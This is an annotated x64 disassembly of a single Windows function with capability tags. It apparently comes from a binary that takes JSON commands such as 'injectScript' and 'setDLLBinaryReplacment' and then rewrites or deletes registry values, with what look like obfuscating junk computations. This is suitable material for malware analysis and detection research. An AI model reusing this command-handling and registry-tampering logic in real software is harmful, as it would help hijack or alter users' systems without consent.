Function at 0x140067610
Capabilities:
Create http request
Delete registry key
Delete registry value
Get disk size
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0xe690
call fcn.1400d8890
sub rsp, rax
mov qword [rsp + 0xdf8], 0xfffffffffffffffe
movaps xmmword [rsp + 0xe680], xmm6
mov rax, qword [0x1401cde90]
xor rax, rsp
mov qword [rsp + 0xe670], rax
mov r12, r8
mov r13, rdx
mov qword [rsp + 0x3b8], rdx
mov rsi, rcx
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x3d8], rcx
mov qword [rsp + 0x270], rdx
mov qword [rsp + 0x2c0], r8
mov eax, dword [0x1401d5d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 0xa
jne 0x1400676ba
lea edx, [rcx + 0x67]
lea r8d, [rcx + 0x68]
lea rcx, [0x14015d564]
call fcn.1400d40f4
xor bl, bl
mov byte [rsp + 0x73], bl
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.14003c080
nop
lea rcx, [rsp + 0x5b20]
call fcn.140037300
nop
mov rdx, qword [r13]
mov qword [rsp + 0x8a8], rdx
lea rcx, [rsp + 0x68]
call fcn.14001b010
nop
mov rdx, qword [rsp + 0x68]
lea rax, [rdx - 0x18]
mov qword [rsp + 0xe08], rax
cmp dword [rax + 0x10], 1
jle 0x14006771b
mov edx, dword [rax + 8]
lea rcx, [rsp + 0x68]
call fcn.14001bb50
mov rdx, qword [rsp + 0x68]
xor edi, edi
mov qword [rsp + 0x59e0], rdi
mov qword [rsp + 0x59e8], rdi
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], dil
or r15, 0xffffffffffffffff
cmp byte [rdx], dil
jne 0x140067757
mov r8d, edi
jmp 0x140067769
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x140067760
lea rcx, [rsp + 0x59d0]
call fcn.1400013f0
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x59d0]
lea rcx, [rsp + 0x5b20]
call fcn.1400373b0
test al, al
jne 0x140067879
lea rdx, [0x1401602d0]
lea rcx, [rsp + 0x2c8]
call fcn.140003310
nop
lea rdx, [rsp + 0x2c8]
mov rcx, qword [rsi + 0x40]
call fcn.140061a30
nop
mov rcx, qword [rsp + 0x2c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400677f2
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x14006780a
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x510], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067855
mov rdx, qword [rsp + 0x510]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
mov r14d, 1
jmp 0x14006cf1e
cmp byte [rsp + 0x58], 0
jne 0x140067964
lea rdx, str.json_parse_error
lea rcx, [rsp + 0x2b8]
call fcn.140003310
nop
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsi + 0x40]
call fcn.140061a30
nop
mov rcx, qword [rsp + 0x2b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400678dd
mov rdx, qword [rsp + 0x6e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x1400678f5
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x520], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067940
mov rdx, qword [rsp + 0x520]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
mov r14d, 1
jmp 0x14006cf1e
lea rdx, [0x14015d5b4]
lea rcx, [rsp + 0x50]
call fcn.14003d190
test al, al
je 0x14006ce24
lea rdx, str.action
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xe18], rax
cmp byte [rax + 8], 4
jne 0x14006ce24
lea rdx, [0x14015e074]
lea rcx, [rsp + 0x50]
call fcn.14003d190
lea rdx, [0x14015d594]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xe28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe38], rdx
lea rcx, [rsp + 0x40]
call fcn.140003310
nop
mov rax, qword [rsp + 0x40]
lea r8, str.injectScript
mov rdx, r15
nop
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x140067a18
add rdx, 2
cmp rdx, 0xd
je 0x140067a14
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x140067a18
jmp 0x1400679f0
mov ecx, edi
jmp 0x140067a1d
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x480], ecx
test ecx, ecx
jne 0x1400685d4
lea rdx, [0x14015ea74]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xe48], rax
lea rdx, [0x140160330]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xe58], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
mov r10d, dword [0x1401d5d60]
lea ecx, [r10 + 1]
imul ecx, r10d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 5
jne 0x140067acb
mov r8d, edi
mov dword [rsp + 0x218], edi
nop word [rax + rax]
movsxd r9, r8d
cmp r9, 0x67
jae 0x140067acb
mov eax, r10d
sub eax, r8d
lea ecx, [r10 + r8]
cdq
idiv ecx
mov dword [rsp + r9*4 + 0x6360], edx
inc r8d
mov dword [rsp + 0x218], r8d
jmp 0x140067aa0
lea rdx, [0x14015ed04]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xf40], rax
lea rdx, str.codeMessage
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x8c0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xce0], rdx
lea rcx, [rsp + 0x90]
call fcn.140003310
nop
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x848], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d43ac
mov qword [rsp + 0x190], rax
test rax, rax
je 0x1400684d7
mov r8, rax
lea rdx, [rsp + 0x90]
call fcn.14006cfc0
test al, al
je 0x1400684d7
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 8
jne 0x140067bca
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d2e28
mov qword [rsp + 0x8d0], rax
mov rcx, rax
call fcn.1400d3f08
mov rbx, qword [rsi + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0xf48], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0x8e0], rcx
mov edx, 0x5c
call fcn.1400d6158
mov rcx, rax
mov qword [rsp + 0xcf0], rax
test rax, rax
jne 0x140067c07
mov ecx, r15d
jmp 0x140067c18
mov rax, qword [rbx]
mov qword [rsp + 0x8f0], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [rsi + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0x100]
call fcn.14002bb50
nop
mov rax, qword [rsi + 0x40]
add rax, 0x1b0
mov qword [rsp + 0xf58], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0x900], rcx
call fcn.1400025c0
mov qword [rsp + 0xd00], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x720], rbx
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsi + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x288], eax
test eax, eax
je 0x140067e1a
call fcn.140067200
test al, al
jne 0x140067cbf
mov dword [rsp + 0x3100], edi
mov dword [rsp + 0x1c50], edi
mov dword [rsp + 0x11c0], edi
test r12, r12
je 0x140067cd4
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x870], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140067cfe
mov rdx, qword [rsp + 0x870]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x530], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067d30
mov rdx, qword [rsp + 0x530]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067d62
mov rdx, qword [rsp + 0x6f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x540], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067d91
mov rdx, qword [rsp + 0x540]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x140067da9
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140067df4
mov rdx, qword [rsp + 0x7d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
xor bl, bl
mov r14d, 1
jmp 0x14006cf1e
mov r13, qword [rsi + 0x40]
add r13, 0x2c8
mov qword [rsp + 0x180], r13
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 6
jne 0x140067e99
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d2e28
mov qword [rsp + 0x910], rax
mov rcx, rax
call fcn.1400d3f08
lea rdx, [0x14015e0d4]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xf60], rax
lea rdx, str.forceOverwrite
mov rcx, rax
call fcn.14003d190
test al, al
je 0x1400681a1
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
mov qword [rsp + 0x920], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x108], rbx
mov eax, edi
mov dword [rsp + 0xd8], eax
mov esi, edi
mov dword [rsp + 0xa4], edi
mov r14d, 1
test eax, eax
jne 0x140068169
mov dword [rsp + 0x188], 0x7ffe
lea rax, [rbx - 0x18]
mov qword [rsp + 0xd10], rax
mov ecx, r14d
sub ecx, dword [rax + 0x10]
mov dword [rsp + 0x878], ecx
mov eax, dword [rax + 0xc]
sub eax, 0x7ffe
mov dword [rsp + 0x888], eax
or eax, ecx
jge 0x140067f5f
mov edx, 0x7ffe
lea rcx, [rsp + 0x108]
call fcn.140002560
mov rbx, qword [rsp + 0x108]
cmp dword [rbx - 0xc], 0x7ffe
jge 0x140067f72
mov ecx, 0x80070057
call fcn.140001920
mov dword [rbx - 0x10], 0x7ffe
mov word [rbx + 0xfffc], di
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x188]
mov r8, rbx
mov edx, esi
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov dword [rsp + 0xd8], eax
movsxd rax, dword [rbx - 0xc]
mov dword [rsp + 0x898], eax
mov rdx, rax
mov rcx, rbx
call fcn.1400d4464
mov dword [rsp + 0x5c0], eax
test eax, eax
js 0x14006815f
cmp eax, dword [rbx - 0xc]
jg 0x14006815f
mov dword [rbx - 0x10], eax
cdqe
mov word [rbx + rax*2], di
mov dword [r13], edi
lea r8, [0x140160310]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x550]
call fcn.14001b320
mov qword [rsp + 0x930], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfe0], rdx
test rdx, rdx
jne 0x14006802a
mov eax, r15d
jmp 0x14006805d
mov eax, dword [rbx - 0x10]
mov dword [rsp + 0x7a0], eax
test eax, eax
jns 0x14006803d
mov eax, r15d
jmp 0x14006805d
mov rcx, rbx
call fcn.1400d4634
mov qword [rsp + 0x940], rax
test rax, rax
jne 0x140068057
mov eax, r15d
jmp 0x14006805d
sub rax, rbx
sar rax, 1
mov dword [rsp + 0x8c], eax
cmp eax, 0xffffffff
setne byte [rsp + 0x70]
mov rcx, qword [rsp + 0x550]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x700], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006809d
mov rdx, qword [rsp + 0x700]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x70], 0
je 0x140068133
mov esi, edi
mov dword [rsp + 0xa4], edi
mov rbx, qword [rsp + 0x108]
mov rdx, rbx
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x288], eax
test eax, eax
je 0x1400680f0
test r12, r12
je 0x140068169
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
jmp 0x14006816e
mov ecx, dword [0x1401d5d60]
imul ecx, ecx
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 2
jne 0x14006814b
mov ecx, 4
call fcn.1400d3fa0
mov rcx, rax
mov qword [rsp + 0xd20], rax
mov eax, dword [0x1401d5d60]
mov dword [rcx], eax
jmp 0x14006814b
mov esi, dword [rsp + 0xa4]
inc esi
mov dword [rsp + 0xa4], esi
mov rbx, qword [rsp + 0x108]
mov r13, qword [rsp + 0x180]
mov eax, dword [rsp + 0xd8]
jmp 0x140067f06
mov ecx, 0x80070057
call fcn.140001920
mov esi, 0xb
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x560], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x140068197
mov rdx, qword [rsp + 0x560]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r13, qword [rsp + 0x180]
jmp 0x1400681aa
mov esi, 0xb
lea r14d, [rsi - 0xa]
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x490], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rcx, qword [rsp + 0x190]
mov rdx, rcx
call fcn.140067520
mov edx, dword [r13]
lea eax, [rdx + 1]
mov dword [r13], eax
lea rcx, [rsp + 0x5b00]
call fcn.140067040
mov qword [rsp + 0x950], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400681fe
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x710]
call fcn.140003310
mov rbx, rax
lea r8, str._data
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x840]
call fcn.14001b320
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x360]
call fcn.14000ff10
nop
mov rcx, qword [rsp + 0x840]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x570], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068274
mov rdx, qword [rsp + 0x570]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x710]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x580], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400682a6
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5b18], 0x10
jb 0x1400682be
mov rcx, qword [rsp + 0x5b00]
call fcn.1400d37c0
mov qword [rsp + 0x5b18], 0xf
mov qword [rsp + 0x5b10], rdi
mov byte [rsp + 0x5b00], 0
mov rdi, qword [rsp + 0x190]
xor al, al
jne 0x140068325
mov rax, qword [rsp + 0x90]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x6a0], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x360]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x100]
mov rbx, qword [rsp + 0x7e0]
mov rcx, rbx
call fcn.14006d120
mov rcx, rdi
call fcn.1400d4328
mov r9d, dword [0x1401d5d60]
lea r8d, [r9 + 1]
imul r8d, r9d
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
cmp r8d, 1
jne 0x1400683c3
mov eax, 0x51eb851f
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r9d, edx
add r9d, 0x2f4
movsxd rcx, r9d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d2e28
mov qword [rsp + 0xf70], rax
mov rcx, rax
call fcn.1400d3f08
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r12, r12
je 0x1400683e1
mov word [r12], si
mov word [r12 + 8], r15w
mov rax, qword [rbx + 0x40]
cmp dword [rax + 0x2d0], 3
jne 0x1400683f8
mov dword [rax + 0x2d0], 4
call fcn.140067100
test al, al
jne 0x140068407
dec dword [0x1401d782c]
mov rcx, qword [rsp + 0x360]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068439
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x720]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006846b
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x890], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006849d
mov rdx, qword [rsp + 0x890]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cdd8
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006cdd8
test r12, r12
je 0x1400684ec
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x90]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x730], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006851e
mov rdx, qword [rsp + 0x730]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x438], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006854d
mov rdx, qword [rsp + 0x438]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x140068565
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400685b0
mov rdx, qword [rsp + 0x7f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
mov r14d, 1
jmp 0x14006cf1e
lea r8, str.setDLLBinaryReplacment
mov rdx, r15
nop
movzx ecx, word [rax + rdx*2 + 2]
cmp cx, word [r8 + rdx*2 + 2]
jne 0x140068608
add rdx, 2
cmp rdx, 0x17
je 0x140068604
movzx ecx, word [rax + rdx*2]
cmp cx, word [r8 + rdx*2]
jne 0x140068608
jmp 0x1400685e0
mov eax, edi
jmp 0x14006860d
sbb eax, eax
or eax, 1
mov dword [rsp + 0x4a0], eax
test eax, eax
jne 0x140069326
lea rdx, [0x140160390]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x960], rax
lea rdx, [0x140160398]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xd30], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
lea rdx, [0x1401603a0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x970], rax
lea rdx, [0x14015d53c]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x1020], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
lea rdx, [0x14016034c]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x980], rax
lea rdx, [0x14015d754]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xd40], rax
cmp byte [rax + 8], 1
jne 0x14006cdd2
lea rdx, [0x140160354]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x990], rax
lea rdx, str.from
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xf80], rax
mov rdx, qword [rax]
mov qword [rsp + 0x9a0], rdx
lea rcx, [rsp + 0x78]
call fcn.140003310
nop
lea rdx, [0x1401603d8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xd50], rax
lea rdx, [0x14015d56c]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x9b0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xff0], rdx
lea rcx, [rsp + 0x80]
call fcn.140003310
nop
lea rdx, [0x1401603e0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x9c0], rax
lea rdx, str.offset
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xd60], rax
mov rcx, rax
call fcn.14003c680
mov dword [rsp + 0x198], eax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x89c], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d43ac
mov r14, rax
mov qword [rsp + 0x630], rax
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4b0], eax
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
call fcn.1400d43ac
mov rbx, rax
mov qword [rsp + 0x770], rax
test r14, r14
je 0x1400691f8
test rax, rax
je 0x1400691f8
mov r8, r14
lea rdx, [rsp + 0x78]
call fcn.14006cfc0
test al, al
je 0x1400691f8
mov r8, rbx
lea rdx, [rsp + 0x80]
call fcn.14006cfc0
test al, al
je 0x1400691f8
mov rax, qword [rsp + 0x78]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x6b0], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, r14
mov rcx, r14
call fcn.140067520
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4c0], eax
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov rdx, rbx
mov rcx, rbx
call fcn.140067520
mov rbx, qword [rsi + 0x40]
add rbx, 0x1b0
mov qword [rsp + 0x9d0], rbx
mov rcx, qword [rbx]
mov qword [rsp + 0xf90], rcx
mov edx, 0x5c
call fcn.1400d6158
mov rcx, rax
mov qword [rsp + 0x9e0], rax
test rax, rax
jne 0x1400688ac
mov ecx, r15d
jmp 0x1400688bd
mov rax, qword [rbx]
mov qword [rsp + 0xd70], rax
sub rcx, rax
sar rcx, 1
lea r8d, [rcx + 1]
mov rcx, qword [rsi + 0x40]
add rcx, 0x1b0
lea rdx, [rsp + 0xb0]
call fcn.14002bb50
nop
mov rax, qword [rsi + 0x40]
add rax, 0x1b0
mov qword [rsp + 0x9f0], rax
mov rcx, qword [rax]
sub rcx, 0x18
mov qword [rsp + 0x1038], rcx
call fcn.1400025c0
mov qword [rsp + 0xa00], rax
add rax, 0x18
mov qword [rsp + 0x1d0], rax
mov rbx, qword [rsi + 0x40]
add rbx, 0x2cc
mov qword [rsp + 0x2d0], rbx
call fcn.140067200
test al, al
jne 0x14006893e
lea rcx, [rsp + 0x5c20]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [rbx]
lea rcx, [rsp + 0x5aa0]
call fcn.140067040
mov qword [rsp + 0xd80], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006895f
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x5e0]
call fcn.140003310
mov rbx, rax
lea r8, str._from
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x5d0]
call fcn.14001b320
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.14000ff10
nop
mov rcx, qword [rsp + 0x5d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x740], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400689d5
mov rdx, qword [rsp + 0x740]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x5e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x850], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068a07
mov rdx, qword [rsp + 0x850]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5ab8], 0x10
jb 0x140068a1f
mov rcx, qword [rsp + 0x5aa0]
